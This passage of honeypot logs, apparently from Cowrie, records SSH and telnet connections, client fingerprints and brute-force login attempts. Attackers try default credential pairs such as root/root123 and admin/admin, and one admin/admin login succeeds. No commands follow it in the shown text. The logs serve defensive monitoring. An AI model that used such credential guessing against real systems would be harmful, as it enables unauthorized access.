[b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"/b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f159.203.135.109\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:31.983211Z","src_ip":"195.184.76.63","session":"61893ed51f15","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"\u0000\f\u0000","password":"\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b","message":"login attempt [\u0000\f\u0000/\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:31.988074Z","src_ip":"195.184.76.63","session":"61893ed51f15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.03742361068725586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:32.000383Z","src_ip":"195.184.76.63","session":"61893ed51f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.192","src_port":41679,"dst_ip":"159.203.135.109","dst_port":23,"session":"5189f8442d26","protocol":"telnet","message":"New connection: 195.184.76.192:41679 (159.203.135.109:23) [session: 5189f8442d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:32.007635Z"}
{"eventid":"cowrie.session.closed","duration":3.005765914916992,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:35.013292Z","src_ip":"195.184.76.192","session":"5189f8442d26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:49:43.634875Z","src_ip":"47.86.95.62","session":"791ba184ff75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d368125d5849","protocol":"ssh","message":"New connection: 47.86.95.62:51098 (10.17.0.5:22) [session: d368125d5849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:50:42.893527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:50:44.483959Z","src_ip":"47.86.95.62","session":"d368125d5849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:50:44.906057Z","src_ip":"47.86.95.62","session":"d368125d5849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.115.219","src_port":55236,"dst_ip":"10.17.0.5","dst_port":23,"session":"42860917cbd4","protocol":"telnet","message":"New connection: 20.203.115.219:55236 (10.17.0.5:23) [session: 42860917cbd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:50:55.531205Z"}
{"eventid":"cowrie.session.closed","duration":11.007008790969849,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:51:06.538097Z","src_ip":"20.203.115.219","session":"42860917cbd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:51:25.028598Z","src_ip":"47.86.95.62","session":"25e080aa1586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.0.239.30","src_port":39160,"dst_ip":"159.203.135.109","dst_port":23,"session":"6571aefbe86e","protocol":"telnet","message":"New connection: 175.0.239.30:39160 (159.203.135.109:23) [session: 6571aefbe86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:51:45.511206Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:51:48.366273Z","src_ip":"47.86.95.62","session":"d368125d5849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"69.4","message":"Connection lost after 69.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:51:52.327015Z","src_ip":"47.86.95.62","session":"d368125d5849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.37028694152832,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:51:57.881356Z","src_ip":"175.0.239.30","session":"6571aefbe86e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.88.41","src_port":58906,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bcd73666a8d","protocol":"telnet","message":"New connection: 83.168.88.41:58906 (10.17.0.5:23) [session: 2bcd73666a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:07.207677Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":65128,"dst_ip":"10.17.0.5","dst_port":22,"session":"10c50cee77b8","protocol":"ssh","message":"New connection: 193.46.255.86:65128 (10.17.0.5:22) [session: 10c50cee77b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:12.233592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:12.241174Z","src_ip":"193.46.255.86","session":"10c50cee77b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:12.377058Z","src_ip":"193.46.255.86","session":"10c50cee77b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e4acf48b851","protocol":"telnet","message":"New connection: 97.74.232.189:41738 (159.203.135.109:23) [session: 1e4acf48b851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:12.828792Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:12.986833Z","src_ip":"193.46.255.86","session":"10c50cee77b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:14.123771Z","src_ip":"193.46.255.86","session":"10c50cee77b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0576b828e6d5","protocol":"ssh","message":"New connection: 47.86.95.62:46158 (10.17.0.5:22) [session: 0576b828e6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:28.737687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:31.730276Z","src_ip":"47.86.95.62","session":"0576b828e6d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:31.735550Z","src_ip":"47.86.95.62","session":"0576b828e6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.584646701812744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:43.413284Z","src_ip":"97.74.232.189","session":"1e4acf48b851","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:52:55.672754Z","src_ip":"47.86.95.62","session":"0576b828e6d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.6","message":"Connection lost after 31.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:53:00.328549Z","src_ip":"47.86.95.62","session":"0576b828e6d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:53:09.461594Z","src_ip":"83.168.88.41","session":"2bcd73666a8d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:53:09.507661Z","src_ip":"83.168.88.41","session":"2bcd73666a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55590,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10c93591d1d","protocol":"ssh","message":"New connection: 47.86.95.62:55590 (10.17.0.5:22) [session: e10c93591d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:53:37.421078Z"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:53:47.882805Z","src_ip":"47.86.95.62","session":"e10c93591d1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47580,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d0d42ff8959","protocol":"ssh","message":"New connection: 47.86.95.62:47580 (10.17.0.5:22) [session: 5d0d42ff8959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:54:58.490800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:54:58.523976Z","src_ip":"47.86.95.62","session":"5d0d42ff8959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.86","src_port":8671,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5319118481","protocol":"ssh","message":"New connection: 65.49.1.86:8671 (10.17.0.5:22) [session: ca5319118481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:11.633821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:11.639329Z","src_ip":"65.49.1.86","session":"ca5319118481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:11.716812Z","src_ip":"65.49.1.86","session":"ca5319118481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:15.632215Z","src_ip":"65.49.1.86","session":"ca5319118481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:33.146585Z","src_ip":"47.86.95.62","session":"5d0d42ff8959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.99.255.23","src_port":35160,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f8a702ad3b","protocol":"telnet","message":"New connection: 119.99.255.23:35160 (159.203.135.109:23) [session: 84f8a702ad3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:36.230721Z"}
{"eventid":"cowrie.session.closed","duration":13.52822756767273,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:55:49.758818Z","src_ip":"119.99.255.23","session":"84f8a702ad3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44030,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb94c3628c1","protocol":"ssh","message":"New connection: 47.86.95.62:44030 (10.17.0.5:22) [session: 0fb94c3628c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:56:24.436430Z"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:56:31.646853Z","src_ip":"47.86.95.62","session":"0fb94c3628c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.20.55","src_port":38740,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b03cb870f7","protocol":"telnet","message":"New connection: 157.230.20.55:38740 (10.17.0.5:23) [session: a2b03cb870f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:56:52.296263Z"}
{"eventid":"cowrie.session.closed","duration":0.004916667938232422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:56:52.301028Z","src_ip":"157.230.20.55","session":"a2b03cb870f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:56:58.497274Z","src_ip":"47.86.95.62","session":"5d0d42ff8959","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.115.219","src_port":53774,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7b324227c61","protocol":"telnet","message":"New connection: 20.203.115.219:53774 (10.17.0.5:23) [session: a7b324227c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:57:02.591246Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":55368,"dst_ip":"10.17.0.5","dst_port":22,"session":"f520cce5655d","protocol":"ssh","message":"New connection: 47.86.95.62:55368 (10.17.0.5:22) [session: f520cce5655d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:57:22.220836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:57:22.225130Z","src_ip":"47.86.95.62","session":"f520cce5655d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes12